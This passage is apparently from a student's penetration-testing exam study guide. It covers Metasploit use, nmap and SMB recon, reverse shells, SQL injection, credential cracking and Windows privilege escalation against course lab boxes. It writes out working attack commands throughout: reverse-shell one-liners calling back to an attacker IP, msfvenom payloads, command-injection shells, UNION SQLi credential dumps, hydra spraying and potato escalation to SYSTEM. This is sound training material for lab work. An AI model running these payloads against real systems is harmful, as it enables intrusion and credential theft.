msf6 > set LPORT 4444
msf6 > run                                                # waits; run shell.exe on target →
session
```

A plain `shell_reverse_tcp` payload can also be caught by plain `nc -lvnp 4444` (toolkit: `l4`).

Part E — Meterpreter (once you have a session)

When an exploit/handler succeeds you land in a Meterpreter prompt (`meterpreter >`). Core commands:

```
sysinfo                 # OS, arch, hostname, domain
getuid                  # who am I running as
getprivs                # token privileges (look for SeImpersonate — your privesc key!)
ps                      # process list (for migrate targets)
migrate <pid>           # move into another process (stability / different user context)
shell                   # drop to a native cmd.exe/PowerShell shell
upload sp.exe C:\\Windows\\Temp\\sp.exe     # push a file to the target
download C:\\path\\flag.txt                  # pull a file to Kali
hashdump                # dump local SAM password hashes (needs SYSTEM)
getsystem               # TRY built-in privesc to SYSTEM (often blocked; you'll do it manually
anyway)
background              # keep the session, return to msfconsole (Ctrl-Z also works)
```

From the console, `sessions -i 1` re-enters session 1. `shell` + Ctrl-Z bounces you back.

Part F — Post-exploitation & the privesc oracle

Once you have **any** session, these save the most time:

```
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run              # lists privilege-escalation exploits the box is likely vulnerable to
```

This is the **privesc oracle**: it tells you *which* path works in seconds. You then do that path **manually** (SeImpersonate → potato, writable service, etc. — see [[tut09-windows-privesc]]) and screenshot the manual version for the marks.

Other handy post modules: `post/windows/gather/hashdump`, `post/windows/gather/enum_logged_on_users`, `post/windows/gather/credentials/*`.

Part G — Auxiliary scanners (enumeration, no exploitation)

Fast intel-gathering modules. Great as an oracle; reproduce findings with nmap/enum4linux for evidence:

```
use auxiliary/scanner/smb/smb_version        ; set RHOSTS $RHOST ; run     # SMB/OS version
use auxiliary/scanner/smb/smb_enumshares     ; set RHOSTS $RHOST ; run     # shares
use auxiliary/scanner/snmp/snmp_enum         ; set RHOSTS $RHOST ; run     # SNMP users/procs
use auxiliary/scanner/http/http_version      ; set RHOSTS $RHOST ; run     # web server banner
```

Resource scripts (automate the oracle)

Put console commands in a `.rc` file and run them in one shot:

```
cat > suggest.rc <<'EOF'
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT 4444
run
EOF
msfconsole -q -r suggest.rc        # starts the handler automatically
```

Part H — A full worked run (what it looks like end-to-end)

```
msf6 > workspace -a demo
msf6 > db_nmap -sV -p- $RHOST            # scan, results stored in the DB
msf6 > services                          # review what was found
msf6 > search type:exploit smb           # the service looked vulnerable → find a module
msf6 > use 0                             # select the first result
msf6 exploit(...) > set RHOSTS $RHOST
msf6 exploit(...) > setg LHOST $LHOST     # global so every module reuses it
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > check                 # Vulnerable? → yes
msf6 exploit(...) > run                   # → [*] Meterpreter session 1 opened
meterpreter > getuid                      # NT AUTHORITY\...
meterpreter > getprivs                    # SeImpersonatePrivilege present!
meterpreter > background
msf6 > use post/multi/recon/local_exploit_suggester ; set SESSION 1 ; run
```

At this point you **know** the foothold and the privesc path. Now you leave MSF and reproduce both manually (`searchsploit` PoC / edited exploit for the foothold; potato for privesc) and document those.

Part I — How this maps to YOUR exam (the important part)

- **"One Metasploit use" = one *documented* use.** Use msfconsole freely as an oracle; only the use you put in the report counts. Keep that documented use as insurance for a flag you can't reproduce manually in time. (Full strategy: the "MSF oracle" discussion / `concepts/metasploit.md`.)
- **`check`, auxiliary scanners, and `local_exploit_suggester` are your best MSF tools** — they *find the answer without exploiting*, so they're the least "counted" and the biggest time-savers.
- **`msfvenom` and `multi/handler` / `nc` listeners are free** — generate and catch payloads all day.
- **Ports 4444 / 5555 / 6666 only** for every LPORT/handler.
- **Be gentle.** Do NOT use `db_autopwn`, aggressive brute scanners, or spray exploits — noisy = IP blacklisted. Targeted `check` on one module is fine.
- **Always reproduce manually for the marks.** MSF finds it; your hands write the report.

Part J — Quick reference

```
msfdb init ; msfconsole -q            # start
search <term> / use <mod> / info      # find & select
show options / set OPT val / setg     # configure (setg LHOST once)
check                                 # is it vulnerable? (safe)
run  (= exploit)                      # fire
sessions / sessions -i N / background # manage sessions
use exploit/multi/handler             # catch a manual msfvenom payload (free listener)
post/multi/recon/local_exploit_suggester + set SESSION N   # privesc oracle
msfvenom -p <payload> LHOST= LPORT=4444 -f exe -o x.exe    # generate payload (free)
```

Gotchas

- **Set LHOST to the right interface IP** (your Kali IP toward the target). Wrong LHOST = payload calls back to nowhere. Toolkit `sett <ip>` auto-detects it.
- **Payload must match on both ends** — the `multi/handler` payload must equal the msfvenom payload.
- **x86 vs x64** — match the target's architecture (`windows/x64/...` for 64-bit). If a session dies instantly, try the other arch or a stageless (`_`) payload.
- **`getsystem` usually fails** on hardened boxes — that's fine, you escalate manually anyway.
- **Meterpreter is noisier** than a plain shell; for a quiet foothold a `shell_reverse_tcp` + `nc` can be stealthier. On the exam, prefer the manual PowerShell shell (`winrev`) for the documented path.

Cross-refs: payload delivery → [[tut04-reverse-shells]]; what to do after the shell → [[tut09-windows-privesc]]; Windows concepts (tokens/SeImpersonate) → [[windows-concepts]]; exam-specific MSF Q&A → `context/concepts/metasploit.md`.

Part 2 — Concept Deep-Dives

Scanning & Reconnaissance

Source: Lec/Tut 2 (networking, packet crafting) + Lec/Tut 3 (recon, Insomnia box). This is **step 1 of every engagement**. On the exam: polite timing only — aggressive scans get your IP **blacklisted**. Placeholders: `$RHOST` = target, `$LHOST` = Kali (`ip a`).

0. Set up first

```
sudo -s                       # root once, so you don't prefix sudo every time
ip a                          # find your Kali IP + interface
export RHOST=10.x.x.x         # paste the emailed target IP once, reuse everywhere
echo $RHOST
mkdir -p enum && cd enum      # keep all scan output in one place (report evidence)
```

1. nmap — the core scan sequence (POLITE)

Do NOT use `-T5`. Default timing (`-T3`) or `-T2` is safe. Start with a fast port discovery, then deep-scan only the open ports.

```
# (a) full TCP port sweep - find what's open (no version detection yet = faster, quieter)
nmap -p- $RHOST --open -oN fullports.txt
# add -T4 ONLY if the brief/time allows and defences are lenient; default otherwise.

# (b) deep scan the open ports: service versions + default scripts
nmap -p 80,445,3389 -sC -sV $RHOST --open -vv -oN services.txt
#   -sC = default NSE scripts, -sV = version detection, -vv = verbose (watch live)

# (c) the course's one-liner pattern (full enum in one go if you prefer)
nmap -p- -sC -sV $RHOST --open -vv -oN fullenum.txt
```

Flags that matter: `-p-` all 65535 ports · `--open` show only open · `-oN file` save normal output (report evidence) · `-sC -sV` scripts+versions · `-sS` SYN scan (needs root) · `-sU` UDP (slow, only if needed, e.g. SNMP 161).

Windows-target ports to recognise immediately

Port	Service	Why it matters on a Windows box
21	FTP	anon login? (`anonymous`/blank) — file access
22	SSH	less common on Windows, but possible
80 / 443 / 8080 / 8000	HTTP(S)	**likely foothold** → web enum next
135 / 139 / 445	RPC / NetBIOS / **SMB**	shares, null sessions, PSExec target
3389	**RDP**	creds → full GUI access
1433	MSSQL	DB creds / xp_cmdshell
5985 / 5986	**WinRM**	creds → `evil-winrm` shell (big one for Windows)
3306	MySQL	DB
161/udp	SNMP	community strings leak info

2. Targeted service-verification scans (from Tut3 checklist)

Use scripts to answer "is X running and how":

```
nmap -sV -p 80,443,8000,8080,8444,9443 --script http-title $RHOST    # web servers + titles
nmap -sV -p 139,445 --script smb-enum-shares $RHOST                  # NFS/SMB share names
nmap -sV -p 445 --script smb-os-discovery,smb-enum-users $RHOST      # Windows OS + users
nmap -sU -p 161 --script snmp-info $RHOST                            # SNMP (UDP)
nmap -p- $RHOST                                                      # highest open port, full
list
```

Questions recon must answer (Tut3): OS name/version, open ports, which services (FTP anon? TFTP? DB type+port? web titles? HTTPS? NFS shares? SSH? RDP? SNMP? DNS? SMTP?), and the **highest open port**.

3. Web enumeration (when 80/443/8080 is open) → see `web-pentesting.md`

Quick start the moment you see a web port:

```
whatweb http://$RHOST                                  # tech fingerprint
curl -s http://$RHOST/robots.txt                       # cheap hints / hidden dirs
# directory brute force (gobuster - course default):
gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirb/common.txt -t 30 -x txt,php -o gob.txt
#   -x txt,php = also try these extensions · --exclude-length N = filter false positives
```

4. /etc/hosts — vhost / hostname resolution (Tut2 Deathnote)

If a scan or page redirects to a hostname (e.g. `deathnote.vuln`), map it so the browser/tools resolve:

```
echo "$RHOST  deathnote.vuln" | sudo tee -a /etc/hosts
```

Always check whether the site needs a hostname — some apps only respond to the vhost name, not the IP.

5. Parameter fuzzing (Tut3 Insomnia — finding hidden params)

When a page (e.g. `administration.php`) seems to want a hidden parameter:

```
# ffuf = fuzz a parameter NAME; -fs filters out the "nothing found" response size
ffuf -w ./SecLists/Discovery/Web-Content/common.txt \
     -u "http://$RHOST:8080/administration.php?FUZZ=helloworld" -fs 65
# found param -> test it:   ?logfile=chat.txt
```

`ffuf` / `Arjun` for params, `gobuster` / `dirb` / `dirsearch` for dirs. SecLists lives at `/usr/share/seclists` (or clone `github.com/danielmiessler/SecLists`).

Worked example — Insomnia box (Tut3), the expected shape

1. `nmap` → port **8080** open (alt HTTP).
2. Browse → chat app, dead end. `gobuster` → `administration.php`.
3. `ffuf` the parameter → found `logfile`. `?logfile=chat.txt` reads a file (LFI-ish).
4. **Command injection:** `?logfile=chat.txt;id` → runs as `www-data`. ⇒ RCE.
5. Reverse shell via the injection: `?logfile=chat.txt;nc%20$LHOST%204444%20-e%20/bin/bash` with `nc -lvnp 4444` on Kali. (Exam: use 4444/5555/6666, NOT 443 like the tutorial.)
6. Stabilise: `python -c 'import pty; pty.spawn("/bin/bash")'`. Read user flag in a home dir.

7. **Privesc:** found writable `start.sh` (owned by user `julia`) and a **cron job** `check.sh` running every minute, world-writable → append a reverse shell to `check.sh`, start a second listener, wait for cron → **root**.

Lessons for the exam: **enumerate → find the weird parameter → RCE → reverse shell → look for a writable script / cron / misconfig for privesc.** "The answer is often obvious."

6. Windows-target enumeration (Tut4 Anagnorisi — THE exam target is Windows)

Once nmap shows Windows ports (135/139/445/3389/5985...), dig in with these:

SMB (139/445) — shares, null sessions, OS, users — HIGH VALUE

```
nmap -p 445 --script smb-os-discovery $RHOST            # OS name, build, FQDN, domain, NetBIOS
smbclient -L //$RHOST -N                                # list shares, -N = null/anonymous
session
smbclient //$RHOST/ShareName -N -c "ls"                # access a share anonymously
smbmap -H $RHOST                                        # shares + access level (read/write)
smbmap -H $RHOST -u guest -p ""                         # try guest
enum4linux-ng -A $RHOST                                 # all-in-one SMB/RPC enum (users, shares,
policy)
nmap -p 445 --script smb-enum-shares,smb-enum-users $RHOST
```

Anonymous/guest-readable shares often hold creds, configs, or a flag. **Always check shares first.**

SMB vulnerability + weak auth

```
nmap -p 445 --script smb-vuln-ms17-010 $RHOST          # EternalBlue (patched on modern Win, but
check)
# SMBv1 enabled + challenge-response => NTLMv1 possible (crackable fast with hashcat)
```

Windows remote services (foothold if you get creds)

```
# RDP 3389
nmap -p 3389 --script rdp-ntlm-info $RHOST              # hostname/domain/build leak
# WinRM 5985/5986  -> evil-winrm is the money shell once you have creds:
evil-winrm -i $RHOST -u USER -p PASS                    # interactive PowerShell as that user
# RPC 135 / 593
rpcclient -U "" -N $RHOST                               # then: enumdomusers, querydispinfo,
srvinfo
```

Other Windows services

```
nmap -sU --open -p 161 $RHOST                           # SNMP
snmpwalk -c public -v1 $RHOST                           # dump MIB (users/programs) if
community=public
snmpwalk -c public -v1 $RHOST 1.3.6.1.4.1.77.1.2.25     # Windows users
nbtscan $RHOST            # NetBIOS names
```

Exam shortcut — the Windows foothold decision

1. **nmap** → identify Windows ports.
2. **SMB null session** (`smbclient -L -N`, `enum4linux-ng`) → shares with creds/flag? read them.
3. **Web ports** (80/443/8080) → `web-pentesting.md` (common foothold).
4. Got creds? → **WinRM** (`evil-winrm`) or **RDP** for a shell. → then `windows-privesc.md`.
5. `whoami /priv` the moment you have a shell — token privileges drive Windows privesc.

Note: a default-deny Windows Firewall shows most ports **filtered** (silently dropped). Only explicitly allowed ports answer — don't waste time on filtered ports.

Gotchas

- Default/polite timing by default. Only raise timing if clearly safe — blacklisting ends your exam.
- Save every scan with `-oN` — it's report evidence (but don't paste huge output; show the key lines).
- Re-run a focused `-sV` on interesting ports if the first pass is thin ("tools don't always work with default settings" — adapt flags).
- Check UDP (`-sU`) only if TCP is a dead end (SNMP/DNS/TFTP) — it's slow.

Reverse Shells

Source: Lec/Tut 4 (DomDom box). The foothold: get the target to connect **back** to Kali so you get command execution. Placeholders: `$LHOST` = Kali IP, `$RHOST` = target.

⚠️ EXAM PORT RULE — READ EVERY TIME

Reverse-shell listeners/payloads MUST use **4444, 5555, or 6666**. NOTHING ELSE. Tutorials use 443/1234/4321 — **override them to 4444/5555/6666 on the exam.** Convention for this toolkit: **4444** = main shell, **5555** = second/privesc shell, **6666** = spare.

1. The listener (Kali side) — always start this FIRST

```
nc -lvnp 4444          # -l listen, -v verbose, -n no DNS, -p port
# rlwrap for arrow-key history / editing (nicer shell):
rlwrap nc -lvnp 4444
```

Catch the shell, then stabilise it (see §5).

2. Payloads by target OS

Windows target (THE EXAM) — pick based on what's available

```
# PowerShell one-liner (most reliable on modern Windows) - paste as the RCE payload:
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',4444);$s=$c.GetStream();
[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object
Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'>
';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"
```

```
# nc.exe (upload it first - see file-transfer.md), then on target:
nc.exe $LHOST 4444 -e cmd.exe
```

```
# msfvenom Windows exe (costs nothing re: the "MSF once" rule - that rule is about msfconsole
exploits)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o shell.exe
# then transfer + run shell.exe on target, catch with nc -lvnp 4444 (or multi/handler)
```

Nishang `Invoke-PowerShellTcp` and the PowerShell #oneliner above are the go-to manual Windows shells.

Linux target (tutorials / attacker-box context)

```
# bash
bash -i >& /dev/tcp/$LHOST/4444 0>&1
# netcat variants
nc -e /bin/bash $LHOST 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 4444 >/tmp/f
# python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("'$LHOST'",4444));
[os.dup2(s.fileno(),f) for f in(0,1,2)];import pty;pty.spawn("/bin/bash")'
# php (pentestmonkey) - see §4
```

`revshells.com` generates any of these (offline: keep `payloads/` cheatsheet). GTFOBins for restricted shells.

3. Delivering the payload (how the target runs it)

The RCE vector comes from recon. Patterns seen in the course:

- **Command injection** (Tut3 Insomnia): `?param=file;nc $LHOST 4444 -e /bin/bash` (URL-encode spaces as `%20`).
- **File upload + webshell** (Tut4 DomDom): upload `php-reverse-shell.php`, browse to it to trigger.
- **Burp-intercepted RCE** (Tut4): intercept the POST, add `&cmd=id` to confirm RCE, then `&cmd=` a download+run of the reverse shell.

4. PHP reverse shell (Tut4 DomDom, the exact course flow)

```
cp /usr/share/webshells/php/php-reverse-shell.php .     # Kali has this built in
# edit the file: set $ip = your $LHOST;  $port = 4444;
nano php-reverse-shell.php
python3 -m http.server 80                                # serve it
```

On the target (via the RCE vector), download → run:

```
# e.g. through &cmd= in Burp:
wget http://$LHOST/php-reverse-shell.php -O shell.php     # or curl -O
chmod +x shell.php
php shell.php                                             # triggers the connect-back
```

Have `nc -lvnp 4444` already listening. Shell lands as the web user (e.g. `www-data`).

5. Stabilise the shell (do this immediately after catch)

```
python3 -c 'import pty; pty.spawn("/bin/bash")'   # or python -c ... (check: which python / python3)
export TERM=xterm
# then background with Ctrl+Z, and on Kali:
stty raw -echo; fg          # restores a full interactive TTY (arrow keys, tab, Ctrl+C)
```

Windows: the PowerShell one-liner is already interactive enough; for cmd.exe just work in it.

6. After the shell — orient fast

```
id ; whoami ; hostname        # Linux
whoami ; whoami /priv ; hostname    # Windows — whoami /priv is KEY for privesc (SeImpersonate etc.)
# look for the user flag right away — home/Desktop:
ls -la ~ ; cat ~/flag* 2>/dev/null                              # Linux
dir C:\Users\%USERNAME%\Desktop ; type C:\Users\*\Desktop\flag_easy.txt   # Windows
```

Then → `windows-privesc.md` (Windows) or `linux-privesc.md`.

Worked example — DomDom (Tut4)

1. nmap → port 80. `dirb` → hidden dirs, no creds. Burp intercept the login POST.
2. Send to Repeater, change path to `/admin.php`, response has a `cmd` script → add `&cmd=id` → **RCE** (runs as www-data).
3. `&cmd=` wget the edited `php-reverse-shell.php` from Kali's `python3 -m http.server`, `chmod`, then `cmd=php php-reverse-shell.php`.

4. Catch with `nc -lvnp <port>`; stabilise with pty.
5. Privesc: `getcap -r / 2>/dev/null` → `/bin/tar` has `cap_setuid` → `tar` a root-only `README.md` out, extract it, read **root password** → `su root`.

Lesson: **RCE vector → serve payload from Kali → trigger connect-back → stabilise → enumerate for privesc.** (`getcap` + GTFOBins tar is a classic Linux-capabilities privesc.)

Web & Service Exploitation — footholds from SMB/FTP/HTTP

Source: Lec/Tut 7 (STARLIGHT · STRATUS) + Lec/Tut 8 (CYCLES · ARDOLIS). These are the **"services & web application exploitation"** tutorials — how you turn an open port into a shell. Privesc *after* the shell lives in `windows-privesc.md` / `linux-privesc.md` (the Windows privesc techniques these boxes use are cross-referenced below). Placeholders: `$RHOST` = target, `$LHOST` = Kali. **All reverse-shell ports normalised to 4444/5555/6666.**

> ⚠️ Tut8 note, verbatim: **"In RONIN, during the exam only port 4444 is available for reverse shell connections."** Build every listener on 4444 unless you have a reason; 5555/6666 only for a 2nd shell.

The 4 Windows foothold archetypes (memorise — one of these is likely your exam easy flag)

1. **Anonymous SMB share** → notes / creds / flag, and sometimes a **writable** share you drop a payload into.
2. **Anonymous FTP** → writable folder that **auto-executes** uploaded scripts (a "Task Queue").
3. **Service-port public exploit** → `searchsploit` a versioned service (e.g. Remote Mouse), modify the PoC to run *your* payload.
4. **Web-app RCE** → SQLi, an in-app code editor, upload, or param injection → shell as the web user. All four end the same way: **a reverse shell on 4444**. Then `whoami /priv` → `windows-privesc.md`.

---

1. Anonymous SMB enumeration (139/445) — always check first

```
smbclient -L //$RHOST -N                        # list shares with a null session (-N = no password)
smbclient //$RHOST/ShareName -N                 # connect anonymously; then: ls, get <file>, put <file>
smbmap -H $RHOST                                # shares + READ/WRITE access level at a glance
smbmap -H $RHOST -u guest -p ''                 # try the guest account
# inside smbclient:  ls | get file.txt | cd dir | put payload.exe | prompt off; mget *
```

What you're hunting: a readable share with `easy_flag.txt` / notes / a creds backup, **or** a **writable** share (smbmap shows `READ, WRITE`) whose readme reveals a filesystem path where the upload lands (e.g. STARLIGHT: `Intake` share ⇒ `C:\ProgramData\Starlight\Intake`). A writable share

- a known on-disk path = drop your payload, then trigger it by another vector.

STARLIGHT easy flag: `ITBriefs` share (anon-readable) held `easy_flag.txt` + `desktop_assist_notes.txt`. Backups to grab if you see them: `developer_backup.zip`, `users.db`, `*.kdbx`, `web.config`.

2. Anonymous FTP (21) — and the auto-exec folder trick

```
ftp $RHOST            # login: anonymous / anonymous  (or blank password)
#   binary ; ls ; cd "Ops Scripts" ; get MirrorRepo.ps1 ; put payload.ps1 ; bye
wget -r ftp://anonymous:anonymous@$RHOST/     # mirror the whole FTP root fast
```

CYCLES foothold (Tut8): anonymous FTP root had `Ops Scripts/`, `Task Queue/`, `AUTOMATION.txt`. `AUTOMATION.txt` disclosed: FTP root = `C:\ftpRoot`, and the **Task Queue folder auto-runs any `.ps1` uploaded to it**. `Ops Scripts/MirrorRepo.ps1` contained the easy-flag maintenance token. Exploit = upload a PowerShell reverse shell into `Task Queue/`, wait for it to auto-run:

```
# payload.ps1 — PowerShell reverse shell (TCPClient). Upload via ftp `put`, catch with nc -lvnp
4444
$c=New-Object System.Net.Sockets.TCPClient('KALI_IP',4444);$s=$c.GetStream();
[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object
Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'>
';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}
```

→ foothold as `cycles\mason` → `type C:\Users\Mason\Desktop\intermediate_flag.txt`. (Windows privesc from here = **AlwaysInstallElevated** — see `windows-privesc.md`.)

3. Service-port public exploit — searchsploit + modify the PoC (STARLIGHT)

When nmap shows an **oddly-versioned service** (STARLIGHT: Remote Mouse on 1978-1980):

```
searchsploit remote mouse 3.008            # find a matching PoC
searchsploit -m 46697                       # copy exploit 46697.py into the cwd (-m = mirror)
# READ the PoC: it talks to port 1978 and launches calc.exe. Edit the command it runs to launch
# YOUR uploaded payload at the path you control (the writable SMB 'Intake' share):
```

```
# 1) build the exe payload, 2) upload via the writable share, 3) edit PoC to run it, 4) fire
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o assist_update.exe
smbclient //$RHOST/Intake -N -c "put assist_update.exe"   # lands at
C:\ProgramData\Starlight\Intake
# edit 46697.py so it executes  C:\ProgramData\Starlight\Intake\assist_update.exe
nc -lvnp 4444 &                                            # listener FIRST
python3 46697.py $RHOST                                    # trigger → shell as starlight\stella
# type C:\Users\stella.STARLIGHT\Desktop\intermediate_flag.txt
```

`msfvenom` generating the exe does **NOT** spend the "one MSF use" (that's msfconsole exploit modules only). (Windows privesc from stella = **writable service binary** StarlightMaintenance — see `windows-privesc.md`.)

---

4. SOCKS5 pivoting with proxychains (STRATUS) — reach an internal service

nmap showed a **SOCKS proxy on 1080**. Use it to scan/browse an internal-only app (dashboard on `127.0.0.1:8080` from the target's view).

```
# /etc/proxychains4.conf :  enable 'dynamic_chain' (uncomment it), comment out the 'strict_chain'
# line and the two 'localnet 127.0.0.0/255.0.0.0' lines, then add at the very bottom:
#   socks5  $RHOST  1080
proxychains4 -q nmap -sT -sV -Pn -p- 127.0.0.1    # MUST be -sT (TCP connect) through a SOCKS
proxy
```

Browser through the proxy (to reach the internal web app):

- **Firefox:** Settings → Network → Manual proxy → SOCKS v5 host `$RHOST` port `1080`; also set `network.proxy.allow_hijacking_localhost = true` in `about:config` (so it proxies 127.0.0.1).
- **Chromium:** `chromium --proxy-server="socks5://$RHOST:1080" --proxy-bypass-list="<-loopback>"`

```
# gobuster can't be hooked by proxychains (Go binary) — use its OWN proxy flag:
gobuster dir -u http://127.0.0.1:8080 -w /usr/share/wordlists/dirb/common.txt \
  --proxy socks5://$RHOST:1080 -t 10
```

STRATUS chain: internal dashboard banner had `Flag_Easy` → gobuster → `/relay-console.php` gave www-data command exec → reverse shell to 5555:

```
bash -c 'bash -i >& /dev/tcp/'$LHOST'/5555 0>&1'      # Kali: nc -lvnp 5555
```

→ `/home/velmar/backup/Credentials.txt` (UTF-16; `strings` it → hint `SHA1(username@secret!)`) → `printf '%s' 'velmar@secret!' | sha1sum` → `su - velmar` → `Flag_Intermediate.txt`. (Linux privesc from velmar = **KernelGate** char-device write overflow — see `linux-privesc.md`.)

5. SQL injection — UNION-based, SQLite backend (ARDOLIS Graduates search)

A search box reflecting rows = test for SQLi:

```
x'                              -- single quote → error = injectable
x' ORDER BY 1--    ... 2-- ... 3--   -- increment until it errors → that's the column count (say
3)
x' UNION SELECT 1,2,3--           -- find which columns reflect on the page
x' UNION SELECT sqlite_version(),2,3--                          -- confirm SQLite + version
x' UNION SELECT sql,2,3 FROM sqlite_master--                   -- dump the schema (table/column
names)
x' UNION SELECT username,password,role FROM uaccounts--       -- dump creds once you know the
table
```

(SQLite tells: `sqlite_master`, `sqlite_version()`. MySQL would be `information_schema`, `@@version`.) ARDOLIS: this leaked `sysadmin / Ardolis-Sys-2026!` → Admin panel.

6. In-app code-editor RCE (ARDOLIS Addons — a Python editor)

An admin feature that runs user code = instant RCE. Confirm, then shell:

```
import os; print(os.popen('id').read())          # confirm exec + what user (corven)
# then a Python reverse shell one-liner (to 4444):
import socket,subprocess,os;s=socket.socket();s.connect(('KALI_IP',4444));[os.dup2(s.fileno(),f)
for f in(0,1,2)];import pty;pty.spawn('/bin/bash')
```

→ `cat /home/corven/Flag_Intermediate.txt`. (Privesc: `sudo -l` → NOPASSWD `/usr/bin/php` → `sudo /usr/bin/php -r 'system("/bin/bash");'` → root — see `linux-privesc.md`.)

7. NTLM hashes from a leaked SQLite DB → crack → hydra spray (ARDOLIS easy flag)

The backup zip (anon SMB `shared` → `developer_backup.zip`) held `notes.txt` + `users.db`. `notes.txt` disclosed a staging path `/admin_dev_staging/` and a password pattern `Ardolis01!`..`Ardolis54!`.

```
sqlite3 users.db '.tables'                                    # → accounts
sqlite3 users.db "SELECT username||':'||ntlm_hash FROM accounts;" > hashes.txt
# column is literally named ntlm_hash ⇒ raw NTLM. Crack with john --format=NT / hashcat -m 1000.
#  ⚠️ hashid may mislabel NTLM as DCC/DCC2 (mscash). Trust the column name — use NT, NOT mscash.
python3 -c "print('\n'.join(f'Ardolis{n:02d}!' for n in range(1,55)))" > ardolis-wl.txt
john --format=NT --wordlist=ardolis-wl.txt hashes.txt        # crack all 54 against the known
pattern
john --format=NT --show hashes.txt | sed 's/:.*//' ...        # build user:pass pairs →
cracked.txt
# Now find WHICH cracked pair is the authorised one — gentle hydra spray on the login form:
```

```
hydra -C cracked.txt $RHOST -s 45904 http-post-form \
  "/admin_dev_staging/:username=^USER^&password=^PASS^:F=Invalid username or password" -f
#   -C user:pass combo file  · -s PORT  · -f stop at first valid  · F= failure string
```

→ `jossdunn / Ardolis36!` → log in → Flag_Easy on the Build-artefact tab. (`hydra -C` tries each `user:pass` line as a pair — not a full cross-product — so it's quiet.)

Cross-reference: where each box's privesc lives

Box	OS	Foothold (this file)	Privesc (other file)
STARLIGHT	Win	anon SMB + Remote Mouse PoC → stella	writable service binary → SYSTEM — `windows-privesc.md`
CYCLES	Win	anon FTP Task Queue auto-exec → mason	AlwaysInstallElevated MSI → SYSTEM — `windows-privesc.md`
STRATUS	Lin	SOCKS5 pivot → relay-console.php www-data	KernelGate char-dev write → root — `linux-privesc.md`
ARDOLIS	Lin	NTLM crack + hydra, UNION SQLi, Python RCE	sudo NOPASSWD php → root — `linux-privesc.md`

Gotchas

- **Check anonymous SMB *and* FTP first** — on these boxes the easy flag was almost always sitting in an anon-readable share or FTP folder. "The answer is often obvious."
- Through a SOCKS proxy nmap **must** use `-sT` (connect scan); `-sS` / `-sU` don't traverse SOCKS. Go binaries (gobuster) ignore proxychains — use their native `--proxy`.
- A share/folder that's **writable** is a foothold even without creds: drop a payload, trigger it elsewhere.
- Column named `ntlm_hash` = **NTLM** (`-m 1000` / `--format=NT`) regardless of what hashid guesses.
- Keep hydra gentle: `-C` combo of *cracked* pairs + `-f`, low threads, one form. No full-rockyou spray.
- `msfvenom` for the exe/msi/ps payloads is free — it does **not** burn the one msfconsole use.

Windows Privilege Escalation — low-priv shell → SYSTEM

Source: Tut9 (**Caldera-2026** box — the hero chain) + the Windows privesc patterns from Tut7/8 (STARLIGHT, CYCLES). You arrive here **after** you have *some* shell on the Windows target (web shell, evil-winrm, service account). Goal: become **NT AUTHORITY\SYSTEM** (or Administrator) and read `C:\Users\Administrator\Desktop\*flag*`. Placeholders: `$RHOST` = target, `$LHOST` = Kali.

⚠️ Exam framing

- Intermediate & hard flags usually live **behind a privesc step**, not just more enumeration. Easy flag = read a share/robots/notice; the rest = get a better token.
- Ports for any reverse shell/payload: **4444 / 5555 / 6666 only**.
- **Metasploit's one use** is better spent elsewhere (a foothold exploit). Windows privesc here is all **manual** — `whoami /priv` + a potato binary / a writable service / an MSI. Bonus marks.
- SigmaPotato / PrintSpoofer / GodPotato are **just uploaded .exe helpers** — they don't burn the MSF use.

---

0. THE FIRST THREE COMMANDS (every Windows shell, every time)

```
whoami /priv          # <-- the single most important privesc command on Windows
whoami /groups        # are you in Administrators / a juicy group?
systeminfo            # OS build + hotfixes (for kernel-exploit matching, last resort)
```

`whoami /priv` decides your path. Look for these **enabled** (or present-but-disabled, still usable):

Privilege	What it buys you	Tool
SeImpersonatePrivilege	impersonate a SYSTEM token	**SigmaPotato / PrintSpoofer / GodPotato** ← Tut9
SeAssignPrimaryToken	same family	potato binaries
SeBackup / SeRestore	read any file (SAM, flags)	`reg save`, copy
SeDebugPrivilege	open any process	dump lsass, migrate
SeTakeOwnership	own any file/key	take + grant yourself
Service accounts (`iis apppool\*`, `svc_*`, `mssql$*`, `nt service\*`) almost always have		
SeImpersonate → potato → SYSTEM. This is the #1 Windows privesc on CTF/exam boxes.		

---

1. ⭐ SeImpersonate → SYSTEM with a Potato (THE Tut9 hard-flag technique)

When `whoami /priv` shows **SeImpersonatePrivilege**, you upload a potato binary and it hands you a SYSTEM token. **SigmaPotato** (a modern RottenPotato/GodPotato fork) is the Tut9 tool; **PrintSpoofer** and **GodPotato** are drop-in alternatives — carry all three in the toolkit.

```
# 1. Serve the binary from Kali
#    (Kali)  python3 -m http.server 8081       # in the dir holding SigmaPotato.exe

# 2. Download onto the target (evil-winrm / web shell context)
Invoke-WebRequest -Uri "http://$LHOST:8081/SigmaPotato.exe" -OutFile
"C:\Windows\Temp\SigmaPotato.exe"
```

```
#   (pick ANY writable dir: C:\Windows\Temp, C:\ProgramData\..., %TEMP%)

# 3. Run a command as SYSTEM — simplest proof:
C:\Windows\Temp\SigmaPotato.exe "cmd.exe /c whoami > C:\Windows\Temp\who.txt"
type C:\Windows\Temp\who.txt            # -> nt authority\system

# 4. Read the flag directly as SYSTEM:
C:\Windows\Temp\SigmaPotato.exe "cmd.exe /c type C:\Users\Administrator\Desktop\hard_flag.txt >
